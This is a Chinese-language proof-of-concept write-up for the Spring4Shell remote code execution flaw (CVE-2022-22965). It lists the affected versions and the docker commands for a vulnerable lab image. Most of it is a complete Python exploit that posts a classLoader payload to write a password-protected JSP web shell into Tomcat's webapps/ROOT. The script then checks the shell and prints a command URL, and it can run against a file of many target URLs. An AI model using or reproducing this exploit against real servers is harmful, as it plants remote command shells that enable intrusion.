漏洞描述

Spring4Shell (CVE-2022-22965) 概念证明/信息

今天一大早，多个消息来源得知流行的 java 框架 spring 中可能存在 RCE 漏洞。

这个漏洞的命名是基于与臭名昭著的 Log4j LOG4Shell 的相似性。

漏洞影响

s ✅Java 开发工具包 (JDK) 9 或更高版本 Apache Tomcat 作为 Servlet 容器

空间测绘

d ⭕暂时不知

漏洞复现

✅docker镜像拉取

docker pull vulfocus/spring-core-rce-2022-03-29
docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29

漏洞利用

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()


def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    proxies = {
        "http": 'http://127.0.0.1:7890',
        "https": 'http://127.0.0.1:7890'
    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False,proxies=proxies)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False,proxies=proxies)
        if shellgo.status_code == 200:
            print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass




def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

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